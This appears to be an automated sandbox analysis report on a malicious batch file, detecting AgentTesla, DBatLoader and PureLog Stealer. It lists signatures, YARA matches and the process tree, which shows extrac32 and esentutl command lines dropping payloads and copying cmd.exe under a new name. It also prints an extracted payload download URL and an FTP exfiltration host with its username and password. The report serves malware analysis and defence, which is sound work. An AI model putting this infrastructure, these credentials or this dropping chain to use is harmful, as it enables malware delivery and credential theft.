Edit tour

Windows Analysis Report
z1Transaction_ID_REF2418_cmd.bat

Overview

General Information

Sample name:	z1Transaction_ID_REF2418_cmd.bat
Analysis ID:	1545203
MD5:	597443c0b1405f3deaa48eef7de516c4
SHA1:	8f3688a384a9a8c8f70fc6a19382d73fbded0674
SHA256:	553f1b4f0532c10e855e349a79d51c1fbffe6f9e03360e50b1445b82d1667ebb
Tags:	batuser-Porcupine
Infos:

Detection

AgentTesla, DBatLoader, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected DBatLoader

Yara detected PureLog Stealer

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Creates multiple autostart registry keys

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Found large BAT file

Hides that the sample has been downloaded from the Internet (zone.identifier)

Installs a global keyboard hook

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample uses process hollowing technique

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Uses FTP

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7152 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Transaction_ID_REF2418_cmd.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

extrac32.exe (PID: 6544 cmdline: extrac32 /y "C:\Users\user\Desktop\z1Transaction_ID_REF2418_cmd.bat" "C:\Users\user\AppData\Local\Temp\x.exe" MD5: 41330D97BF17D07CD4308264F3032547)

x.exe (PID: 4888 cmdline: "C:\Users\user\AppData\Local\Temp\x.exe" MD5: 08C4AFC4A714EDFE9F2554B72DA40A04)

cmd.exe (PID: 1740 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\xrbjyllC.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

esentutl.exe (PID: 2308 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o MD5: 5F5105050FBE68E930486635C5557F84)

esentutl.exe (PID: 5716 cmdline: C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\AppData\Local\Temp\x.exe /d C:\\Users\\Public\\Libraries\\Cllyjbrx.PIF /o MD5: 5F5105050FBE68E930486635C5557F84)

conhost.exe (PID: 5956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xrbjyllC.pif (PID: 4544 cmdline: C:\Users\Public\Libraries\xrbjyllC.pif MD5: C116D3604CEAFE7057D77FF27552C215)

Cllyjbrx.PIF (PID: 1440 cmdline: "C:\Users\Public\Libraries\Cllyjbrx.PIF" MD5: 08C4AFC4A714EDFE9F2554B72DA40A04)

xrbjyllC.pif (PID: 4108 cmdline: C:\Users\Public\Libraries\xrbjyllC.pif MD5: C116D3604CEAFE7057D77FF27552C215)

sgxIb.exe (PID: 6520 cmdline: "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe" MD5: C116D3604CEAFE7057D77FF27552C215)

Cllyjbrx.PIF (PID: 1068 cmdline: "C:\Users\Public\Libraries\Cllyjbrx.PIF" MD5: 08C4AFC4A714EDFE9F2554B72DA40A04)

xrbjyllC.pif (PID: 6568 cmdline: C:\Users\Public\Libraries\xrbjyllC.pif MD5: C116D3604CEAFE7057D77FF27552C215)

sgxIb.exe (PID: 2488 cmdline: "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe" MD5: C116D3604CEAFE7057D77FF27552C215)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://himalayastrek.com/origins/233_Cllyjbrxmng"]}

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.haliza.com.my", "Username": "origin@haliza.com.my", "Password": "JesusChrist007$"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41f0c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41f7e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42008:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4209a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42104:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42176:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4220c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4229c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3bce2:$s2: GetPrivateProfileString 0x3f1ba:$s3: get_OSFullName 0x3c410:$s5: remove_Key 0x3c430:$s5: remove_Key 0x3f617:$s6: FtpWebRequest 0x41eee:$s7: logins 0x42460:$s7: logins 0x451b7:$s7: logins 0x45223:$s7: logins 0x483fc:$s7: logins 0x45dbd:$s9: 1.85 (Hash, version 2, native byte-order)
00000011.00000002.2933710309.00000000227AD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41f0c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41f7e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42008:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4209a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42104:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42176:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4220c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4229c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3bce2:$s2: GetPrivateProfileString 0x3f1ba:$s3: get_OSFullName 0x3c410:$s5: remove_Key 0x3c430:$s5: remove_Key 0x3f617:$s6: FtpWebRequest 0x41eee:$s7: logins 0x42460:$s7: logins 0x451b7:$s7: logins 0x45223:$s7: logins 0x483fc:$s7: logins 0x45dbd:$s9: 1.85 (Hash, version 2, native byte-order)
0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41f0c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41f7e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42008:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4209a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42104:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42176:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4220c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4229c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3bce2:$s2: GetPrivateProfileString 0x3f1ba:$s3: get_OSFullName 0x3c410:$s5: remove_Key 0x3c430:$s5: remove_Key 0x3f617:$s6: FtpWebRequest 0x41eee:$s7: logins 0x42460:$s7: logins 0x451b7:$s7: logins 0x45223:$s7: logins 0x483fc:$s7: logins 0x45dbd:$s9: 1.85 (Hash, version 2, native byte-order)
0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.1859312320.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000011.00000002.2918780561.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2037584251.0000000026FED000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
0000000B.00000002.2004085524.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2037584251.0000000026FA4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2037584251.0000000026FA4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.2933710309.0000000022764000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2933710309.0000000022764000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.1885700149.0000000029CE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1885700149.0000000029CE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
00000011.00000001.1996288631.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
